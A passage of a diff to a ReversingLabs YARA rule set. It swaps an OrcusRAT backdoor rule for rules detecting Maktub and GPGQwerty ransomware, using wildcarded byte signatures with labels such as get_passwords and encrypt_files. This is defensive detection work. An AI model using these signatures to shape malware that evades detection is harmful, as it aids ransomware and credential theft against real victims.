E8 ?? ?? ?? ?? 48 + 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 10 48 83 EA ?? 48 8B 12 + 48 01 D0 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 0F 95 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8B 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? + ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB ?? 74 ?? BB ?? ?? ?? ?? EB ?? 90 BB ?? ?? ?? ?? 48 + 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB ?? 74 ?? BB ?? ?? ?? ?? EB ?? 90 BB + ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB ?? 74 ?? E9 ?? ?? ?? ?? 90 E9 + ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 + 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? + ?? 48 89 C1 E8 ?? ?? ?? ?? E9 } condition: - uint32( 0 ) == 0x464C457F and ( all of ( $install_library_implant_p* ) ) and ( $self_delete ) and ( all of ( $execute_local_file_p* ) ) and ( all of ( $network_proxy_communication_p* ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Orcusrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Maktub : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects OrcusRAT backdoor." + description = "Yara rule that detects Maktub ransomware." author = "ReversingLabs" - id = "d4700cd1-73a4-552d-bc27-7408508a28e7" - date = "2024-09-10" - modified = "2024-09-10" + id = "23ca4232-77ff-5519-b6b0-ccec6cb35fe1" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.OrcusRAT.yara#L1-L134" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Maktub.yara#L1-L116" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "17a85613e9e4c862ce81fee49065c250381dbf8a50cf07d496f5fd2c1b82d92e" + logic_hash = "ee3213213e9521f7d19ce6340cd2f98057c22b1188ceefc30c17c18b6ec54e20" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "OrcusRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Maktub" tc_detection_factor = 5 importance = 25 strings: - $get_tcp_connections = { - 18 0B 16 0C 7E ?? ?? ?? ?? 12 ?? 17 07 1B 16 28 ?? ?? ?? ?? 0D 09 2C ?? 09 1F ?? 2E - ?? 72 ?? ?? ?? ?? 09 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 08 28 ?? ?? ?? - ?? 13 ?? 11 ?? 12 ?? 17 07 1B 16 28 ?? ?? ?? ?? 0D 09 2C ?? 72 ?? ?? ?? ?? 09 8C ?? - ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? A5 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 8C ?? ?? ?? - ?? 28 ?? ?? ?? ?? 6A 58 28 ?? ?? ?? ?? 13 ?? 11 ?? 7B ?? ?? ?? ?? 8D ?? ?? ?? ?? 0A - 16 13 ?? 2B ?? 11 ?? D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? A5 ?? ?? ?? ?? 13 - ?? 06 11 ?? 11 ?? A4 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 8C ?? ?? ?? ?? 28 ?? ?? - ?? ?? 6A 58 28 ?? ?? ?? ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 6A 11 ?? 7B ?? ?? ?? ?? 6E - 32 ?? DE ?? 11 ?? 28 ?? ?? ?? ?? DC 06 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? (FE | 06) - ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 + $encrypt_files = { + 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? E8 ?? ?? + ?? ?? 51 8D B3 ?? ?? ?? ?? 8B CB 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 50 8B 43 ?? FF D0 8D + 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + B3 ?? ?? ?? ?? FF D0 85 C0 74 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B 43 ?? 6A + ?? 6A ?? 6A ?? 6A ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF D0 85 C0 75 ?? FF 75 ?? 8B 43 + ?? FF D0 5E 33 C0 5B 8B E5 5D C3 A1 ?? ?? ?? ?? 57 8B 7D ?? 85 C0 75 ?? FF 15 ?? ?? + ?? ?? A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? 85 C9 74 + ?? 8B D1 33 C0 C1 E9 ?? F3 AB 8B CA 83 E1 ?? F3 AA 8B 7D ?? B9 ?? ?? ?? ?? 3B FE 76 + ?? 8D 46 ?? 3B F8 73 ?? 8D 57 ?? 8D 70 ?? 8B FF 8A 06 8D 52 ?? 88 42 ?? 8D 76 ?? 49 + 75 ?? EB ?? 8B D7 2B D6 8A 06 8D 76 ?? 88 44 32 ?? 49 75 ?? E8 ?? ?? ?? ?? 89 83 ?? + ?? ?? ?? 8D 4F ?? 8B 83 ?? ?? ?? ?? 89 47 ?? FF B3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8D 45 ?? FF 75 ?? 50 8B 43 ?? 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0 85 C0 75 ?? A1 + ?? ?? ?? ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? + ?? ?? FF 75 ?? 8B 43 ?? FF D0 5F 5E 33 C0 5B 8B E5 5D C3 FF 75 ?? 8D 45 ?? 57 50 E8 + ?? ?? ?? ?? 50 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? + ?? 85 C0 75 ?? A1 ?? ?? ?? ?? FF D0 A3 ?? ?? ?? ?? 57 6A ?? 50 FF 15 ?? ?? ?? ?? FF + 75 ?? 8B 43 ?? FF D0 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 } - $get_operating_system_information_p1 = { - 73 ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 0B 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 0A 28 ?? ?? ?? ?? 0C 08 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2B ?? - 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 0D - 09 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 09 (FE | 06) ?? - ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 2F ?? 06 1C 8D ?? ?? ?? ?? - 25 16 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 - 18 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A - 11 ?? 8C ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? - ?? ?? ?? 06 1C 8D ?? ?? ?? ?? 25 16 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F + $search_files = { + 55 8B EC 83 EC ?? 53 56 57 8B F9 68 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 0F 84 + ?? ?? ?? ?? 8B 47 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? + FF D0 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4F ?? 8D 45 ?? 50 0F 57 C0 53 66 0F 13 45 + ?? FF D1 85 C0 0F 84 ?? ?? ?? ?? 8B 75 ?? 8B C6 0B 45 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF + 72 ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 87 ?? ?? ?? ?? + 8B 55 ?? 8D 4A ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? FF 70 ?? 50 FF 31 8D 4D ?? E8 ?? ?? + ?? ?? 8B 45 ?? 83 C0 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? + FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 75 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 45 ?? 85 C0 + 7C ?? 7F ?? 81 FE ?? ?? ?? ?? 72 ?? 50 8B 45 ?? 56 53 8B 1D ?? ?? ?? ?? 33 F6 51 8D + 48 ?? 89 65 ?? 39 31 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 51 33 F6 89 65 ?? 89 + 01 8B 45 ?? 39 70 ?? 8D 48 ?? 7C ?? 51 8D 70 ?? FF D3 8B 4D ?? 8D 46 ?? 89 01 8B CF + E8 ?? ?? ?? ?? 8B 75 ?? 8B F8 E9 ?? ?? ?? ?? 8B 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A + ?? 6A ?? 68 ?? ?? ?? ?? 56 FF D0 89 45 ?? 83 F8 ?? 75 ?? 8B 47 ?? 53 FF D0 33 FF E9 + ?? ?? ?? ?? 51 8D 87 ?? ?? ?? ?? 8B CF 50 E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? + ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? C7 45 + ?? ?? ?? ?? ?? 51 FF 75 ?? 50 8B 47 ?? 53 FF D0 85 C0 75 ?? 8B 4D ?? E9 ?? ?? ?? ?? + 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45 ?? + ?? ?? ?? ?? 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 85 C0 74 ?? E8 ?? ?? ?? ?? + 8B 45 ?? 6A ?? 89 45 ?? 8D 45 ?? 50 8B 47 ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF D0 + 85 C0 75 ?? 8B 4D ?? EB ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 8B 47 ?? 6A ?? 6A ?? 6A ?? + FF 75 ?? FF D0 85 C0 75 ?? 8B 4D ?? EB ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF + 75 ?? 8B 45 ?? 50 FF 75 ?? 8B 47 ?? FF D0 8B 4D ?? 85 C0 74 ?? 8B 45 ?? 3B 45 ?? 74 + ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 FF 75 ?? 8B 47 ?? FF D0 + 8B 47 ?? 56 FF D0 33 FF E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 FF 75 + ?? 8B 47 ?? FF D0 8B 47 ?? 53 FF D0 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? + ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? + ?? ?? ?? 6A ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 51 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 8D 45 + ?? 8B CC 50 E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? FF 75 ?? 8B 47 ?? FF D0 85 C0 75 ?? + 8B 47 ?? 56 FF D0 33 FF EB ?? BF ?? ?? ?? ?? 83 C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? + 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 1D ?? ?? + ?? ?? 56 6A ?? 50 FF D3 EB ?? 8B 47 ?? 53 FF D0 33 FF 8B 1D ?? ?? ?? ?? 8B 75 ?? 83 + C6 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 7F ?? A1 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? + ?? ?? ?? A3 ?? ?? ?? ?? 56 6A ?? 50 FF D3 8B C7 5F 5E 5B 8B E5 5D C2 } - $get_operating_system_information_p2 = { - A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8C ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 - 1A 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 06 1A 8D ?? ?? ?? ?? 25 16 09 7B ?? ?? ?? ?? 72 ?? ?? - ?? ?? 6F ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 09 7B ?? ?? ?? ?? 72 ?? ?? ?? - ?? 6F ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 - 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 13 ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 72 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 38 ?? ?? ?? ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 72 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 38 ?? ?? ?? ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 6F ?? ?? ?? ?? 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? ?? ?? ?? 06 - 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 2B ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 2B ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 2E ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 33 - ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2B ?? 11 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 2E ?? 11 - ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 2E ?? 06 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 2C ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 06 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 09 7B ?? ?? ?? ?? 2C ?? 09 7B ?? ?? ?? ?? 6F ?? ?? - ?? ?? DC 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 73 ?? ?? ?? ?? 13 ?? 11 + $previous_encrypt_files = { + 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8D 4D + ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF + 77 ?? FF D3 8D 4D ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 + 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 + 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? + FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF + 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? + ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 + B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 + 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF 77 ?? FF D3 8B F0 + 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 + ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? + ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D + 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? + ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? + ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D + ?? 89 B7 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? FF 30 FF B7 ?? ?? ?? ?? FF D3 8B F0 8D 4D ?? 89 B7 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 85 F6 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 6A ?? 8D B7 ?? ?? ?? ?? FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8 + ?? ?? ?? ?? 84 DB 74 ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + FF 30 8B 47 ?? 6A ?? 56 FF D0 85 C0 8D 4D ?? 0F 94 C3 E8 ?? ?? ?? ?? 84 DB 0F 85 ?? + ?? ?? ?? 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 } - $take_screenshot = { - 28 ?? ?? ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 73 ?? - ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 0C 08 28 ?? ?? ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 0B 12 ?? 28 ?? ?? ?? ?? 16 16 06 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? - DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 + + condition: + uint16( 0 ) == 0x5A4D and $search_files and $previous_encrypt_files and $encrypt_files +} +rule REVERSINGLABS_Win32_Ransomware_Gpgqwerty : TC_DETECTION MALICIOUS MALWARE FILE +{ + meta: + description = "Yara rule that detects GPGQwerty ransomware." + author = "ReversingLabs" + id = "8848e00a-a695-575b-a29d-fc9521859e12" + date = "2020-07-15" + modified = "2020-07-15" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.GPGQwerty.yara#L1-L83" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "e59adadd66b4d242ac7337ce4b3c3ec6c60724f4cf5b86305f1e31b88745928c" + score = 75 + quality = 90 + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GPGQwerty" + tc_detection_factor = 5 + importance = 25 + + strings: + $find_files_p1 = { + 56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC + ?? 83 F8 ?? 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ?? 31 C0 EB ?? 0F B7 43 ?? 83 C0 ?? + 66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44 04 ?? 84 C0 88 01 75 ?? 8B 44 24 + ?? 24 ?? 83 F8 ?? 76 ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 66 90 + 89 43 ?? 81 C4 ?? ?? ?? ?? 89 F0 5B 5E C3 E8 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ?? 83 F8 + ?? 89 03 74 ?? E8 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ?? + E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? E8 ?? + ?? ?? ?? C7 00 ?? ?? ?? ?? EB ?? 90 56 53 89 D3 81 EC ?? ?? ?? ?? 8D 54 24 ?? 89 04 + 24 89 54 24 ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 89 C6 74 ?? 31 C0 8D 4B ?? 66 89 43 ?? + 31 C0 EB ?? 0F B7 43 ?? 83 C0 ?? 66 3D ?? ?? 66 89 43 ?? 83 D1 ?? 0F B7 C0 0F B6 44 + 04 ?? 84 C0 88 01 75 ?? 8B 44 24 ?? 24 ?? 83 F8 ?? 77 ?? 89 43 ?? 81 C4 ?? ?? ?? ?? + 89 F0 5B 5E C3 8D B4 26 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 89 F0 5B + 5E C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 81 C4 ?? ?? ?? + ?? 89 F0 5B 5E C3 } - $get_passwords = { - 1F ?? 8D ?? ?? ?? ?? 25 16 73 ?? ?? ?? ?? A2 25 17 73 ?? ?? ?? ?? A2 25 18 73 ?? ?? - ?? ?? A2 25 19 73 ?? ?? ?? ?? A2 25 1A 73 ?? ?? ?? ?? A2 25 1B 73 ?? ?? ?? ?? A2 25 - 1C 73 ?? ?? ?? ?? A2 25 1D 73 ?? ?? ?? ?? A2 25 1E 73 ?? ?? ?? ?? A2 25 1F ?? 73 ?? - ?? ?? ?? A2 25 1F ?? 73 ?? ?? ?? ?? A2 25 1F ?? 73 ?? ?? ?? ?? A2 0A 73 ?? ?? ?? ?? - 25 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 06 0C 16 0D 2B - ?? 08 09 9A 13 ?? 07 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE - ?? 09 17 58 0D 09 08 8E 69 32 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? - 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 6F ?? - ?? ?? ?? 16 31 ?? 07 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 12 ?? 28 ?? - ?? ?? ?? 2D ?? DE ?? 12 ?? (FE | 16) ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 02 39 ?? ?? ?? - ?? 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? 